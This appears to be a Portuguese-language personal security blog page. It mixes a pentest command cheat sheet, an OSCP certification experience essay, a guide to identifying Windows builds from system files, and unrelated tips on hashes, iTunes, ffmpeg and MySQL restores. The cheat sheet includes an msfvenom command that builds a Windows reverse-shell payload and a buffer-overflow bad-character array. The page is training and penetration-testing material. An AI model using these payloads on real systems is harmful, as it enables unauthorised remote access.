Useful commands (Linux, Windows, CTF, Exploit, etc…)

General

Search commands

Look for an text inside of file data

find / -type f -exec grep -Hn 'content_to_be_found' {} \;

Looking for writable files

find / -perm -2 ! -type l ! -path "/proc*" ! -path "/sys*" -ls 2>/dev/null

 

Buffer Overflow

Looking for and possible vulnerable code

find . -type f -exec grep -Hn 'strcpy' {} \; 
or
find . -type f -exec grep -Hn 'strcpy' {} \; | awk -F'[:(,)]' '{print $1 ":" $2 " ==> " $4 "|" $5 "|" $6}'

Bad Characters

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

Generating Payload

Generating an payload to be used at python script avoiding some bad characters

msfvenom -p windows/shell_reverse_tcp LHOST=<server_ip> LPORT=<server_port> -b '\x00\x0a\x0d' -f python

Decoding/printting an HEX Code

echo "41424344" | xxd -r -p
or 
cat hexfile.txt | sed 's/0x//g' | sed 's/,//g' | tr -d '\n' | xxd -r -p

Listting all msfvenom payloads candidates and his Size

for p in `msfvenom --list payloads | grep windows | awk '{print $1}'` ; do echo $p; msfvenom -p $p --list-options 2>&1 | grep -i "total size"; echo; done

Generating 100 files with random content betwwen 1 and 10 MB

for i in {1..100} ; do SIZE=$(( ( RANDOM % 10 )  + 1 )); FILENAME=$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32); echo "[$i - 100] Generating $SIZE file..."; dd if=/dev/urandom of=sample_$FILENAME.txt bs=1M count=$SIZE; done

Minha experiência no OSCP

No dia 16/09/2019 recebi o tão esperado e-mail “Você foi aprovado no OSCP”, então, como isso tudo começou? como foi o processo de estudo? estou começando em security posso fazer OSCP? Como foi fazer a prova com proctoring? Estas e outras perguntas pretendo responder neste artigo.

 

Antes de começar, quem sou eu e qual o meu background?

No momento da escrita deste artigo, tenho mais de 20 anos de experiência com Tecnologia da Informação, passando por diversas áreas, desenvolvimento, desenvolvimento mobile, redes, infraestrutura, gestão de identidades e acessos, VoIP com asterisk e etc… Durante toda minha carreira sempre fui muito curioso e gostei de ir a fundo nas coisas que estava estudando, sempre me perguntando como isso funciona? E nunca me limitando ao “está funcionando é o que importa”, sempre quis saber como as coisas funcionavam desde pequeno, nunca tive um brinquedo sequer que eu não o tenha desmontado para ver o sistema interno.

O que é OSCP?

Antes de responder essa pergunta é necessário responder outra pergunta, quem é a autoridade certificadora que assina o OSCP? OSCP é o Acrônimo de Offensive Security Certified Professional, desta forma, quem assina o OSCP é a Offensive Security é nada mais nada menos quem criou e mantém o Kali Linux (sucessor do Backtrack) e também oferece cursos na área de segurança ofensiva (Pentest). Desta forma a OSCP é a certificação focada em testes de invasão oferecida pela Offsec.

Como eu compro a OSCP?

Para fazer a OSCP é obrigatório a compra do curso PWK (Pentest with Kali) + um tempo de acesso ao laboratório da Offsec. O mínimo que se pode comprar de acesso ao laboratório é de 30 dias, e no momento da escrita deste artigo pode comprar com 30, 60 ou 90 dias com valores de (US Dólar) U$ 800, U$ 1000 e U$ 1150 respectivamente, podendo em qualquer um dos planos adquirir a extensão do tempo de acesso. Para maiores informações verificar a página https://www.offensive-security.com/information-security-training/penetration-testing-training-kali-linux/

 

Como é a pegada OSCP?

Só existe uma expressão capaz de definir OSCP: Try Harder!

O curso PWK é bem interessante, porém o mesmo não prepara para que possa ser capaz de passar na certificação OSCP, pois ele somente lhe da os caminhos das pedras, ensina de coisas básicas a algumas coisas mais avançadas, mas não contempla tudo que você vê no laboratório e muito menos do que você vê na prova. Desta forma com o curso você tem uma noção do que pode procurar, e o resto você vai ter que achar no Google, Livros e etc… E certamente não achará tudo pronto, você terá que construir o seu conhecimento, com pedaços isolados de conceitos, conhecimentos, ferramentas e etc…

 

Estou começando em Security OSCP posso tentar OSCP?

Vou ser simples e direto, se você tem dinheiro para jogar fora, vai fundo! Caso contrário, não! OSCP não é para quem está começando, você precisa ter um conhecimento de rede, entender muito bem como funciona camada OSI, ter noções de desenvolvimento, como uma aplicação funciona (independente da linguagem), como ela interage com o sistema operacional, conhecer de arquitetura Linux e Windows, de o que um usuário privilegiado e não privilegiado pode fazer, onde o Windows e Linux guardam suas configurações, senhas, registros e outros. Como fazer coisas em Windows somente utilizando comandos (esquece as janelinhas bonitinhas). Se você não tem esses conhecimentos (e alguns outros), estude-os antes de pensar em fazer OSCP.

 

Um pouco da minha história no OSCP

Eu decidi fazer o OSCP por indicação de um cara muito amigo, ele me disse “vai lá, é de boa para você”, “você passa”. E eu acreditei. Pode ter certeza que eu o xinguei diversas vezes, quando passei mais de 5 dias em uma única maquina no lab e sem conseguir achar nada, certamente eu o xinguei. Mas ao mesmo tempo eu sou eternamente grato a ele, pois conseguiu ver além da superfície, e me incentivou e ajudou a alcançar um feito extremamente importante para mim, algo que vai muito além da certificação: diversos amigos que hoje fazem parte do meu RedTeam.

Mas voltando a certificação, um pouco antes de iniciar meus estudos propriamente dito no lab da Offsec, eu estava como primeiro colocado em um lab privado (de mesma pegada da OSCP), então quando meu amigo falou vai lá, vc passa, eu pensei, vou mesmo pois sou foda, estou em primeiro no Lab. Então adquiri somente 30 dias de lab da Offsec e comecei o meu estudo no lab OSCP, na primeira semana eu aprendi minha primeira lição “Não importa o quão bom você é, seja humilde!”, e só tinha um sentimento na minha cabeça “Paulo Trindade eu vou te matar!!!”

Passado o trauma da primeira semana e já na terceira semana de estudo eu percebi que 30 dias de lab não daria para cumprir com o meu objetivo que era pegar 100% das maquinas do laboratório.

No final das contas eu tive que contratar mais 60 dias de lab, totalizando 90 dias.

Como foi o meu ritmo de estudo?

Nos primeiros 15 dias eu estudei por volta de 14 horas por dia, e depois por volta de 7 horas/dia durante a semana e 14 horas/dia nos finais de semana, neste período, churrasco, cerveja, uísque, passeios com a família, tudo ficou em segundo plano.

E é neste momento que eu devo agradecer a todos os meus familiares em especial minha esposa e companheira que entendeu e me apoiou em toda essa jornada, tomando conta dos nossos 2 filhos, e segurando a onda enquanto eu estava distante, me abstendo da companhia prazerosa deles. Muito Obrigado meu Amor! Te Amo muito!!!

 

Laboratório

O laboratório do OSCP é fantástico, desafiador ele faz você realmente se conhecer, pois te leva ao extremo, faz você perder a paciência, faz você desistir, faz você tentar novamente para enfim obter o sucesso esperado.

Se neste momento eu posso lhe dar uma dica, “ganhe tempo” estudando e realizando todas as maquinas do laboratório, eu coloquei ganhe tempo entre duplas aspas pois acho que o termo gaste tempo, ou perca tempo não consegue exprimir a grandeza de qualidade de tempo que é estar estudando e tentando, tentando, tentando e enfim conseguindo invadir uma por uma das maquinas deste incrível laboratório.

Nessa minha jornada eu Ownei (invadi e peguei root/admin) em 100% das 55 maquinas do laboratório, conforme a listagem abaixo:

Rede pública (43 maquinas)

  • alice
  • pedro
  • phoenix
  • mike
  • bob
  • bob2
  • barry
  • payday
  • ralph
  • pain
  • leftturn
  • 314159265
  • Bethany
  • Bethany2
  • alpha
  • beta
  • gamma
  • tophat
  • dotty
  • john
  • dj
  • gh0st
  • sufferance
  • alice
  • HELPDESK
  • susie
  • oracle
  • kraken
  • hotline
  • OBSERVER
  • punchout
  • master
  • slave
  • Jeff
  • joe
  • jd
  • mail
  • kevin
  • core
  • humble
  • humble2
  • cory
  • sean

Rede IT Dept (3 maquinas)

  • nina
  • carrie
  • brett

Rede IT Dev (5 maquinas)

  • internal
  • carol
  • james
  • john
  • niky

Rede Administrative (4 maquinas)

  • tricia
  • mario
  • jack
  • luigi

Enfim chegou o dia do exame (prova), e ai como foi o proctoring?

Para quem não está habituado, o proctoring é um procedimento onde alguém lá do outro lado do mundo te monitora pela sua webcam e pela visualização da sua tela. Isso tudo fica gravado lá nos servidores da Offsec, em geral em provas mais curtas você não pode sair de frente do computador, nem para ir ao banheiro, mas como o OSCP tem duração de 23 horas e 45 minutos isso ficaria inviável.

Por opção decidi realizar a prova com proctoring, e creio ter sido um dos primeiros no Brasil a fazer a prova deste modo. A Offsec convidou todos que estavam realizando o exame um determinado período a serem Beta Tester oferecendo uma recompensa em desconto em uma próxima aquisição com eles, como eu já estava pensando na OSCE então resolvi aceitar.

O processo de proctoring foi extremamente tranquilo, logo no início confirmaram minha identidade e solicitaram que eu mostrasse todo o ambiente em que estava para se certificarem que não havia mais ninguém comigo. Após estes procedimentos iniciais, liberaram minha VPN ao ambiente do exame e pediram para eu realizar um teste acessando o painel da prova. Finalizado isso, pude iniciar a prova.

Ainda comentando sobre o proctoring, fui monitorado durante todo o período da prova, porém com total liberdade para me ausentar quando desejado, mas quando ausente com o acesso a VPN cortado, somente em um momento que me ausentei para almoçar eu solicitei que não bloqueassem a VPN pois deixei uma ferramenta enumerando as páginas web, minha solicitação foi aceita e assim ficou.

E o Exame como foi?

Por questões óbvias não posso comentar detalhes técnicos das maquinas do exame.

Quando você acessa o painel do exame tem um texto com IP das maquinas você precisa invadir e explicando o seu objetivo em cada uma delas, e qual a pontuação máxima daquela maquina, algo mais ou menos neste estilo:

Maquina XXX.XXX.XXX.XXX: 25 pontos

Objetivos:

  • Entre na maquina e pegue shell não privilegiado
  • Depois escale privilégio
  • Realize pelo menos X prints deste processo
  • Coloque no painel o conteúdo dos arquivos de flag (local.txt e proof.txt) e realize o print conforme orientado no guia do exame (https://support.offensive-security.com/#!oscp-exam-guide.md)

Sendo assim, sabendo que o mínimo para passar na prova é 70 pontos, você tem condições de decidir e priorizar as maquinas conforme desejar.

O exame tem duração de 23 horas e 45 minutos, eu demorei 23 horas e 30 minutos para conseguir pegar todas as maquinas parando somente para comer, ir ao banheiro e tomar alguma coisa (no meu caso RedBull), ou seja, a prova é extremamente desgastante, exige muito além dos seus conhecimentos técnicos, exige resiliência, persistência e capacidade física.

Após as mais de 23 horas do exame, você pensa, agora sim, peguei 100% das maquinas, vou descansar e curtir a minha mais nova certificação, é isso? Infelizmente não.

Após finalizar a prova, você tem que enviar um relatório detalhado com passo a passo de todas as maquinas que pegou no exame. E você tem até 24 horas após a finalização do exame para postar o relatório em um site da Offsec e enviar por e-mail para a Offsec o link que o site gera.

Basicamente estes são os pontos que precisam estar no relatório:

  • Tanto no caso do local.txt quanto no proof.txt, é necessário um print (screenshoot) incluindo o conteúdo do arquivo e o endereço IP da máquina alvo usando ipconfig ou ifconfig.
  • Submeter o conteúdo do local.txt e proof.txt no painel de controle do exame, e o painel não lhe informará se está certo ou não.
  • Caso use um exploit, colocar a URL do exploit e se realizou alguma alteração o código do exploit e a marcação da alteração realizada e o porquê a fez.
  • Indicação de qual foi a vulnerabilidade encontrada, onde e como foi explorada, como pode ser remediada.

Basicamente o objetivo do relatório é que o mesmo seja um relatório de pentest que você entregaria a um cliente, ou seja, que outra pessoa técnica habilitada consiga pegar o relatório e reproduzir com exatidão o que você realizou para chegar a root/admin na máquina alvo.

Para o exame há algumas restrições de ferramentas, para maiores detalhes verifique a página específica das instruções para o exame (https://support.offensive-security.com/#!oscp-exam-guide.md)

Após o envio do relatório em até 24 horas você recebe um e-mail informando que receberam o seu relatório e depois disso até 3 dias úteis eles respondem se você passou ou não.

Adicionalmente você pode fazer um relatório do laboratório para ganhar 10 pontos extra, neste relatório precisa fazer o passo a passo de pelo menos 10 maquinas do lab, e mais de 100 exercícios do PDF do PWK, então quem pretende fazer esse relatório para garantir uns pontinhos, comece bem antes do dia da prova ou de finalizar o acesso ao lab, pois é demorado e cansativo. Eu desisti no meio do caminho.

 

Considerações finais

Obviamente que ter a chancela OSCP é muito importante para um profissional de RedTeam e de forma alguma estou menosprezando a minha ou a certificação de qualquer OSCP, porém para quem realmente estudou e se dedicou durante o processo do lab realizar o exame e tirar a chancela OSCP é mais ou menos como coroar todo o aprendizado, é como se a caminhada fosse mais importante do que ganhar, do que chegar em primeiro, pois ganhar, chegar em primeiro (em nosso caso passar no exame) é nada mais nada menos do que a demonstração que a caminhada foi bem realizada e o aprendizado realmente ocorreu.

Gostaria também de comentar que sem amigos não chegamos a lugar nenhum, então gostaria de agradecer o Paulo Trindade, como ja comentei anteriormente, ao Aroldo, Eder e todos os meus brothers do RedTeam, vcs foram peças chave para todo este processo, valeu pessoal #tamosjunto e #tryharder

Espero que tenha contribuído para tirar algumas dúvidas sobre a OSCP.

Que Deus lhe abençoe e se precisar de mim durante o processo de caminhada fique a vontade para me contatar.

 

 

Identificando Versão do Windows através de arquivos

Um dos desafios em um pentest é identificar a versão exata de um windows, então segue aqui algumas dicas de como faze-lo usando arquivos nativos do Sistema operacional.

Este procedimento é dividido em 2 passos:

  1. Buscar o build number, ou seja, o número de compilação
  2. Traduzir este número em algo que possamos entender

 

Buscando o Build Number

Arquivo c:\windows\system32\prodspec.ini, pode-se observar que a versão é a 5.1.2600.0

;
;Attention : VOUS NE DEVEZ PAS MODIFIER NI SUPPRIMER CE FICHIER.
;
[SMS Inventory Identification]
Version=1.0

[Product Specification]
Product=Windows XP Professionnel

Version=5.0
Localization=Français
ServicePackNumber=0
BitVersion=40 
[Version]
DriverVer=07/01/2001,5.1.2600.0

Arquivo c:\boot.ini, este arquivo detém um não tão exato com a versão do windows

;[boot loader]
timeout=1
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard" /fastdetect /NoExecute=OptIn

Arquivo c:\windows\explorer.exe, é um executável então temos que usar uma ferramenta do linux chamada exiftool para buscar as informações do mesmo

exiftool /tmp/explorer.exe | grep -i "produ"

Esse comando retornará algo parecido com o texto abaixo

Product Version Number          : 6.0.3790.1830
Product Name                    : Microsoft® Windows® Operating System
Product Version                 : 6.00.3790.1830

 

Traduzindo o Build Number em informação do qual é o Sistema Operacional

Agora de posse da informação tão desejada basta traduzir para a versão do windows com a tabela abaixo (retirada de https://www.gaijin.at/en/lstwinver.php)

Sistema Operacional Versão / Build / Data
Windows 95 OEM Service Release 1 (95A) 4.00.950 A *)
Windows 95 OEM Service Release 2 (95B) 4.00.1111 B *)
Windows 95 OEM Service Release 2.1 4.03.1212-1214 B *)
Windows 95 OEM Service Release 2.5 C 4.03.1214 C *)
Windows 98 4.10.1998
Windows 98 Second Edition (SE) 4.10.2222 A
Windows Millenium Beta 4.90.2476
Windows Millenium 4.90.3000
Windows NT 3.1 3.10.528 (27.07.1993)
Windows NT 3.5 3.50.807 (21.09.1994)
Windows NT 3.51 3.51.1057 (30.05.1995)
Windows NT 4.00 4.00.1381 (24.08.1996)
Windows NT 5.00 (Beta 2) 5.00.1515
Windows 2000 (Beta 3) 5.00.2031
Windows 2000 (Beta 3 RC2) 5.00.2128
Windows 2000 (Beta 3) 5.00.2183
Windows 2000 5.00.2195 (17.02.2000)
Whistler Server Preview 2250
Whistler Server alpha 2257
Whistler Server interim release 2267
Whistler Server interim release 2410
Windows XP (RC 1) 5.1.2505
Windows XP 5.1.2600 (25.10.2001)
Windows XP, Service Pack 1 5.1.2600.1105-1106
Windows XP, Service Pack 2 5.1.2600.2180
Windows XP, Service Pack 3 5.1.2600 (21.04.2008)
Windows .NET Server interim 5.2.3541
Windows .NET Server Beta 3 5.2.3590
Windows .NET Server Release Candidate 1 (RC1) 5.2.3660
Windows .NET Server 2003 RC2 5.2.3718
Windows Server 2003 (Beta?) 5.2.3763
Windows Server 2003 5.2.3790 (24.04.2003)
Windows Server 2003, Service Pack 1 5.2.3790.1180
Windows Server 2003 5.2.3790.1218
Windows Home Server 5.2.3790 (16.06.2007)
Windows Longhorn 6.0.5048
Windows Vista, Beta 1 6.0.5112 (20.07.2005)
Windows Vista, Community Technology Preview (CTP) 6.0.5219 (30.08.2005)
Windows Vista, TAP Preview 6.0.5259 (17.11.2005)
Windows Vista, CTP (Dezember) 6.0.5270 (14.12.2005)
Windows Vista, CTP (Februar) 6.0.5308 (17.02.2006)
Windows Vista, CTP (Refresh) 6.0.5342 (21.03.2006)
Windows Vista, April EWD 6.0.5365 (19.04.2006)
Windows Vista, Beta 2 Previw 6.0.5381 (01.05.2006)
Windows Vista, Beta 2 6.0.5384 (18.05.2006)
Windows Vista, Pre-RC1 6.0.5456 (20.06.2006)
Windows Vista, Pre-RC1, Build 5472 6.0.5472 (13.07.2006)
Windows Vista, Pre-RC1, Build 5536 6.0.5536 (21.08.2006)
Windows Vista, RC1 6.0.5600.16384 (29.08.2006)
Windows Vista, Pre-RC2 6.0.5700 (10.08.2006)
Windows Vista, Pre-RC2, Build 5728 6.0.5728 (17.09.2006)
Windows Vista, RC2 6.0.5744.16384 (03.10.2006)
Windows Vista, Pre-RTM, Build 5808 6.0.5808 (12.10.2006)
Windows Vista, Pre-RTM, Build 5824 6.0.5824 (17.10.2006)
Windows Vista, Pre-RTM, Build 5840 6.0.5840 (18.10.2006)
Windows Vista, RTM (Release to Manufacturing) 6.0.6000.16386 (01.11.2006)
Windows Vista 6.0.6000 (08.11.2006)
Windows Vista, Service Pack 2 6.0.6002 (04.02.2008)
Windows Server 2008 6.0.6001 (27.02.2008)
Windows 7, RTM (Release to Manufacturing) 6.1.7600.16385 (22.10.2009)
Windows 7 6.1.7600 (22.10.2009)
Windows 7, Service Pack 1 6.1.7601
Windows Server 2008 R2, RTM (Release to Manufacturing) 6.1.7600.16385 (22.10.2009)
Windows Server 2008 R2, SP1 6.1.7601
Windows Home Server 2011 6.1.8400 (05.04.2011)
Windows Server 2012 6.2.9200 (04.09.2012)
Windows 8 6.2.9200 (26.10.2012)
Windows Phone 8 6.2.10211 (29.10.2012)
Windows Server 2012 R2 6.3.9200 (18.10.2013)
Windows 8.1 6.3.9200 (17.10.2013)
Windows 8.1, Update 1 6.3.9600 (08.04.2014)
Windows 10 10.0.10240 (29.07.2015)
Windows 10 (1511) 10.0.10586
Windows 10 (1607) 10.0.14393
Windows Server 2016, RTM (Release to Manufacturing) 10.0.14393 (26.09.2016)

*) O Build Number nem sempre é exibido exatamente como está na tabela

Invertendo teclas F1, F2, etc…

Em alguns notebooks Dell as teclas F1, F2, etc… cem invertidas, ou seja, quando você pressiona F1 ao invés de executar a Função de F1, ele executa a função multimídia (em meu caso Mute).

Em computadores mais antigos a solução deste problema é ajustes na BIOS ou até em Mobility Center do windows.

No meu computador, em jun-2018, a solução deste problema é Pressionar as teclas (Fn) + (Esc Fn).

Script para decodificar arquivos .vbe | Script to decode .vbe files

Analisando um malware recebido por e-mail me deparei com um script VBA codificado, sendo assim busquei um script para decodificar e poder realizar a análise do mesmo, segue abaixo o script criado por Jean-Luc Antoine, podendo ser localizado em http://www.interclasse.com/scripts/decovbe.php During a malware analisis i had to try to decrypt an VBA Script, so looking for on internet i found this script bellow. This script was written by Jean-Luc Antoine

Leia mais

Gerando varios hashes (MD5, SHA1 e SHA256) ao mesmo tempo

O objetivo deste post é mostrar um script, simples, em bash para gerar os hashes MD5, SHA1 e SHA256 de um arquivo qualquer.

Mas ai você pode se perguntar, porque eu quero isso se posso simplesmente rodar os comandos manualmente e obter os hashes, simples, pois com este comando vc tem tudo em um unico comando e com a identificação de qual foi o algorítmo e o seu hash.

 

Crie o script abaixo com o nome /sbin/gethash

#!/bin/bash
#

if [ "$(id -u)" != "0" ]; then
   echo "Sorry, you must run this script as root." 1>&2
   exit 1
fi

if [ $# -lt 1 ]
  then
    echo "Usage: $0 file_name"
    exit 1
fi

echo "Generating hash, please wait..."

md5=$(md5sum "$1" | awk '{ print $1 }')
echo "MD5($1)= $md5"

sha1=$(sha1sum "$1" | awk '{ print $1 }')
echo "SHA1($1)= $sha1"


sha256=$(sha256sum "$1" | awk '{ print $1 }')
echo "SHA256($1)= $sha256"

 

Defina a permissão de execução para este script

chmod +x /sbin/gethash

E seja feliz!!!

# gethash teste.txt 
Generating hash, please wait...
MD5(teste.txt)= 7ded919cba92b59c28671227b1364297
SHA1(teste.txt)= 023749462808478515826213cb9eccf77c2823eb
SHA256(teste.txt)= c1b2ad9e5d95367f43ad67e5120cbdf868a3085d0a183b06af8101a2dc1bd258

Como mudar a pasta de backup do iTunes no computador

Por: HELITO BIJORA para o TechTudo

Fonte: http://www.techtudo.com.br/dicas-e-tutoriais/noticia/2015/08/como-mudar-pasta-de-backup-do-itunes-no-computador.html

*** Este arquivo é apenas uma cópia do original postado no TechTudo (acima referenciado)

O iTunes salva os backups de dispositivos iOS no disco C: do computador. Com isso, dependendo da quantidade e tamanho dos backups, a pasta pode ocupar vários gigabytes e faltar espaço na unidade do sistema. Veja como mover a pasta de backup do serviço para outra partição ou HD e criar um link simbólico na localização original.

Leia mais

Criando proxy vídeos para aumentar a velocidade de edição de vídeos

Como alguns sabem pratico Airsoft como esporte e tenho um canal no youtube (HelvioSniper) com os meus vídeos, dicas, tutoriais e etc…

Na busca por aperfeiçoamento fui buscar uma técnica para edição mais rápida uma vez que a cada jogo de duração média de 2 a 3 horas eu demoro +- 12 horas entre edição e renderização dos meus vídeos.

Nessa busca encontrei este vídeo abaixo:

Onde ele explica como realizar uma técnica que basicamente consiste em gerar uma versão em baixa qualidade (e pequeno tamanho de arquivo) para realizar a edição de forma fluida, e depois no momento da renderização colocar o software de edição a utilizar os arquivos originais com alta qualidade.

No vídeo ele explica este processo usando o aplicativo HandBrake, muito bom por sinal.

Mas como eu tenho um PC com uma placa de vídeo legal rodando em Linux, fui procurar alguma solução para aproveitar este PC durante este meu processo, então encontrei uma solução utilizando o ffmpeg.

PS: Apenas como observação, apesar de eu comentar que vou usar meu PC linux, o ffmpeg também pode ser usado no windows, conforme demonstro neste artigo (http://www.helviojunior.com.br/video/utilizando-ffmpeg-para-converter-videos-e-audio/).

Leia mais

Restaurando MySQL com informações de progresso

Uma das formas mais comuns de realização de Backup de uma base de Dados MySQL é através do mydqldump, porém quando necessita restaurar uma base de dados você fica sem um status de quanto ja foi processado para saber a final quanto tempo levará o processo todo.

Este artigo entende que fizemos o backup com mysqldump e o arquivo está compactado com Zgip.

Sendo assim a forma mais comum de realizar um restore é com um dos comandos abaixo:

cat backup.sql.gz | grep gunzip | mysql -u usuario -p
ou
zcat backup.sql.gz | mysql -u usuario -p

Porém nestes casos não temos nenhum status de quanto ja foi restaurado, sendo assim podemos usar a ferramenta DD (ja abordada em outro post aqui) para realizar a leitura do arquivo, e assim utilizar um sinal do linux para saber o quanto o DD ja leu o arquivo. Confuso? Então vamos aos comandos que tudo ficará mais claro.

Comando de restauração:

dd if=backup.sql.gz | grep gunzip | mysql -u usuario -p

Até aqui nenhuma novidade, só substituímos o cat pelo DD, a novidade vem agora, podemos usar o sinal -USR1 no processo do DD que ele imprimirá em tela o quanto ja leu do arquivo backup.sql.gz.

Primeiramente vamos descobrir o Process ID (PID) do DD com o comando:

ps aux | grep -i "command\|dd if" | grep -v mysql | grep -v grep

O Resultado do comando será algo parecido com a imagem abaixo:
ps

Agora de posse do PID podemos executar o comando mágico que trará quanto o nosso DD ja leu do arquivo

kill -USR1 26711

Quando executado este comando, na janela em que está sendo executado o DD ele irá trazer um resultado semelhante a imagem abaixo:
kill

Agora para fechar com chave de outro vamos criar um comando que fica enviando este sinal a nosso processo de tempo em tempo.

 while :; do kill -USR1 26711; sleep 30; done